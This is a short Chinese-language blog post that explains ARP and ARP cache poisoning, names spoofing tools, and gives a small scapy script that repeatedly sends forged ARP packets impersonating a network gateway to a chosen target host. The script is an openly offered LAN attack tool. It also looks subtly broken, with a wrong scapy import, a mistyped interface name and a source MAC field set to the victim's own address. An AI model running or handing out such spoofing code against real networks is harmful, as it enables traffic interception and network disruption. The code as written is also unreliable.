arp欺骗脚本

Something for nothing。


什么是arp欺骗

百度百科

由于局域网的网络流通不是根据IP地址进行,而是根据MAC地址进行传输。所以,MAC地址在A上被伪造成一个不存在的MAC地址,这样就会导致网络不通,A不能Ping通C!这就是一个简单的ARP欺骗。

ARP(Address Resolution Protocol)是地址解析协议,
是一种将IP地址转化成物理地址的协议。从IP地址到物理地址的映射有两种方式:表格方式和非表格方式。ARP具体说来就是将网络层(也就是相当于OSI的第三层)地址解析为数据链路层(也就是相当于OSI的第二层)的物理地址(注:此处物理地址并不一定指MAC地址)。

ARP原理

某机器A要向主机B发送报文,会查询本地的ARP缓存表,找到B的IP地址对应的MAC地址后,就会进行数据传输。如果未找到,则A广播一个ARP请求报文(携带主机A的IP地址Ia——物理地址Pa),请求IP地址为Ib的主机B回答物理地址Pb。网上所有主机包括B都收到ARP请求,但只有主机B识别自己的IP地址,于是向A主机发回一个ARP响应报文。其中就包含有B的MAC地址,A接收到B的应答后,就会更新本地的ARP缓存。接着使用这个MAC地址发送数据(由网卡附加MAC地址)。因此,本地高速缓存的这个ARP表是本地网络流通的基础,而且这个缓存是动态的。

ARP协议

ARP协议并不只在发送了ARP请求才接收ARP应答。当计算机接收到ARP应答数据包的时候,就会对本地的ARP缓存进行更新,将应答中的IP和MAC地址存储在ARP缓存中。因此,当局域网中的某台机器B向A发送一个自己伪造的ARP应答,而如果这个应答是B冒充C伪造来的,即IP地址为C的IP,而MAC地址是伪造的,则当A接收到B伪造的ARP应答后,就会更新本地的ARP缓存,这样在A看来C的IP地址没有变,而它的MAC地址已经不是原来那个了。

能够进行arp欺骗的工具有哪些?

windows

  1. cain
  2. netfuke
  3. and so on

linux

  1. ettercap
  2. bettercap
  3. and so on

小脚本

from scapy import *

#监听的网卡
interface = "etho"
#攻击的ip
Gip = "xx.xx.xx.xx"
#本地的IP
Lip = "xx.xx.xx.xx"
#网关IP
Wip = "xx.xx.xx.xx"
#各自的mac地址
Gmac = getmacbyip(Gip)
Lmac = get_if_hwaddr(interface)
Wmac = getmacbyip(Wip)

#构造arp请求的包
pack = Ether(dst=Gmac,src=Lmac)/ARP(op=1,hwsrc=Gmac,psrc=Wip,hwdst=Gmac,pdst=Gip)


#一直刷新
while True:
    sendp(pack,inter=1,iface=interface)

   转载规则


《arp欺骗脚本》 Wing 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
联合查询小记 联合查询小记
假如明天你要来,我现在就已经开始期待! 今天对联合查询有一点小问题,具体就是union select 后面加1,2,3,4,5后,为什么页面中会回显2,5这种数字,当我解决了之后发现这个问题挺二的。 union查询的特点就是字段要对
2017-08-07
下一篇 
sockserver sockserver
花开花落,转眼又是一年!
2017-07-30
  目录